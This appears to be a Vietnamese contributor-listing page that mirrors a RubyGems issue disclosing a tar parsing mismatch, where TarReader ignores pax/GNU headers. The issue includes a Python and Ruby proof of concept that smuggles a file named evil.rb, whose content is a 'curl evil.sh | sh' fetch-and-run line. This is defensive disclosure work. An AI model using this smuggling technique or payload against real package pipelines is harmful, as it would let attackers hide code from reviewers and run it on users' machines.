Gem::Package::TarReader silently ignores pax/GNU extension headers
Maintainer thường phản hồi trong vòng 1 ngày
Đánh giá
- Độ khó
- 3/5
- Thời gian dự kiến
- 1-2 ngày
- Mức phù hợp với người mới
- 55/100
Hướng nghiên cứu
Start by reading Gem::Package::TarReader and its tests to find where tar member typeflags are handled. The issue proposes accepting only typeflags 0, NUL, 1, 2, and 5, and rejecting unsupported or future formats. Add coverage for rejected extension headers, including pax and GNU types, and confirm the reported archive now raises an error instead of extracting the extra file.
Do mô hình lập chỉ mục viết ra từ nội dung của issue.
Mô tả
Describe the problem as clearly as you can
The Gem::Package::TarReader does not support POSIX pax extended headers or GNU long-name / long-link extensions. That's fine in general, it's just working with a subset of features.
However, what's wrong is that it does not reject unsupported types, which is a latent security issue. I've opened this issue publicly because I don't think it can be exploited, given that you use TarReader consistently on server and client.
For example, pax path / linkpath / size records and GNU L / K names are silently ignored, and instead the ustar name / size / linkname fields are used. The result of this is that for a given gem, Ruby can extract something entirely different from GNU tar.
The proposed fix is to harden TarReader, such that it errors on formats that it cannot parse. That means only allow typeflags 0 or \0, 1, 2, and 5 and reject x, g, L and K and future formats.
This came up while working on https://stoppels.ch/tar, which lists dozens of tricky tar test cases, and documents how different tools handle them.
You would probably want to have a look at these 25 test cases, s.t. you can compare Ruby's behavior with other tar implementations
F10: extended pax size before gnu longF13: pax newline in pathF14: pax size disagreesF19: pax global between extended and memberF20: pax global sizeF21: pax size emptyF22: pax size negativeF23: pax size plusF24: pax size leading spaceF25: pax size not ascii digitsF26: pax size leading zeroF27: pax size too largeF34: size on hardlinkF35: pax size on hardlinkF36: pax record length shortN01: gnu long nameN03: pax long nameN08: extended pax path and gnu long nameN09: extended two pax headersN19: pax nul in pathN20: pax repeated keyN21: pax global pathN23: extended gnu long then paxN24: pax hdrcharset binary
Did you try upgrading RubyGems?
Yes
Post steps to reproduce the problem
This is a variation on https://stoppels.ch/tar/F20.html.
In this example Ruby extracts a file evil.rb that would not be extracted by GNU tar.
The trick is to use a pax size that Ruby ignores. The tar member evil.rb is put after an empty readme, and the pax size on readme is large enough to cover evil.rb's blocks. GNU tar then reads those blocks as readme's content, but Ruby reads readme as empty and extracts evil.rb as a separate file.
# build.py
import io, tarfile
def member(name, data, typeflag=tarfile.REGTYPE):
"""Raw bytes of one tar member (header + padded data), no end-of-archive blocks."""
buf = io.BytesIO()
with tarfile.open(fileobj=buf, mode="w", format=tarfile.USTAR_FORMAT) as t:
info = tarfile.TarInfo(name); info.size = len(data); info.type = typeflag
t.addfile(info, io.BytesIO(data))
return buf.getvalue()[: (1 + (len(data) + 511) // 512) * 512]
def pax_record(key, val):
"""A pax record 'LEN key=val\\n' whose LEN counts its own digits."""
rec = lambda n: f"{n} {key}={val}\n".encode()
n = len(rec(0))
while len(rec(n)) != n: n = len(rec(n))
return rec(n)
evil = member("evil.rb", b'system("curl evil.sh | sh")\n') # the member to smuggle
xhdr = member("hdr", pax_record("size", len(evil)), tarfile.XHDTYPE) # "next member is len(evil) bytes"
readme = member("readme", b"") # ustar size = 0
open("poc.tar", "wb").write(xhdr + readme + evil + b"\0" * 1024)
# poc.rb - unpack data.tar.gz like `gem install`
require "rubygems/package"; require "stringio"; require "zlib"; require "fileutils"
gz = StringIO.new
Zlib::GzipWriter.wrap(gz) { |w| w.write File.binread("poc.tar") }
pkg = Gem::Package.new("unused.gem")
pkg.spec = Gem::Specification.new { |s| s.name = "poc"; s.version = "0" }
Dir.mkdir("out")
pkg.extract_tar_gz(StringIO.new(gz.string), File.expand_path("out"))
puts "RubyGems extracted: #{Dir.children('out').sort.inspect}"
Which command did you run?
python3 build.py
tar -tf poc.tar # reference for actual contents
ruby poc.rb
What were you expecting to happen?
RubyGems errors that it does not support the tar file.
What actually happened?
$ tar -tf poc.tar
readme
$ ruby poc.rb
RubyGems extracted: ["evil.rb", "readme"]
$ cat out/evil.rb
system("curl evil.sh | sh")
- Ngôn ngữ chính
- Ruby
- Star
- 4k
- Fork
- 2k
- Merge trung bình
- 1 ngày 17 giờ
- Pull request đã merge (30 ngày)
- 50
Chuẩn bị môi trường
Khởi chạy dev container của dự án ngay trên trình duyệt, bằng tài khoản GitHub của bạn.
- Không có Dockerfile hay tệp Docker Compose
- Có mẫu pull request
- Đọc hướng dẫn đóng góp
Bắt đầu từ đâu
- Đọc hết issue, rồi đọc hướng dẫn đóng góp của dự án.
- Bình luận trên issue rằng bạn sẽ nhận — tránh hai người làm cùng một việc.
- Fork repository và làm thay đổi trên một nhánh.
- Mở pull request có tham chiếu số hiệu của issue.
Issue khác của ruby/rubygems
-
Bundler 4.0.x fails on Ruby 4.1 when .bundle/config is "---"Có thể đã có người làm Có pull request liên kết đang mở hoặc đã được merge. Đang mở
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 73/100
Maintainer thường phản hồi trong vòng 1 ngày
-
Cooldown drops the locked version of a gem named in bundle lock --update or bundle updateCó thể đã có người làm @senid231 đã nhận 5 ngày trước. Đang mở
Độ khó 4/5 3-5 ngày Mức phù hợp với người mới 35/100
Maintainer thường phản hồi trong vòng 1 ngày
-
Profiling `require "bundler/setup"` in a 450-gem app: 13 findings, a series of small PRsCó thể đã có người làm Có pull request liên kết đang mở hoặc đã được merge. Đang mở
Độ khó 4/5 3-5 ngày Mức phù hợp với người mới 15/100
Maintainer thường phản hồi trong vòng 1 ngày
-
`Gem::Version.new`, `#bump`, and `#release` do not work in ractorCó thể đã có người làm @mmporong đã nhận 13 ngày trước. Đang mởRubyGems
Độ khó 3/5 Nửa ngày Mức phù hợp với người mới 55/100
Maintainer thường phản hồi trong vòng 1 ngày
-
Gem.load_plugins loads same plugin multiple times from different Gem.path entriesCó thể đã có người làm @sourya2704 đã nhận 14 ngày trước. Đang mở
Độ khó 5/5 Hơn một tuần Mức phù hợp với người mới 25/100
ruby/rubygems#9945 · 4 bình luận · 3 reaction ·
Maintainer thường phản hồi trong vòng 1 ngày
Tất cả issue của ruby/rubygems
Issue tương tự
-
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 78/100
hanami/hanami-cli#476 ·
Maintainer thường phản hồi trong vòng 1 ngày
-
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 78/100
jdx/mise#15471 · 1 bình luận ·
Maintainer thường phản hồi trong vòng 1 ngày
-
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 68/100
activerecord-hackery/ransack#1799 · 2 bình luận ·
Maintainer thường phản hồi trong vòng 1 ngày
-
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 78/100
rubys/roundhouse#1950 ·
-
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 64/100
Maintainer thường phản hồi trong vòng 1 ngày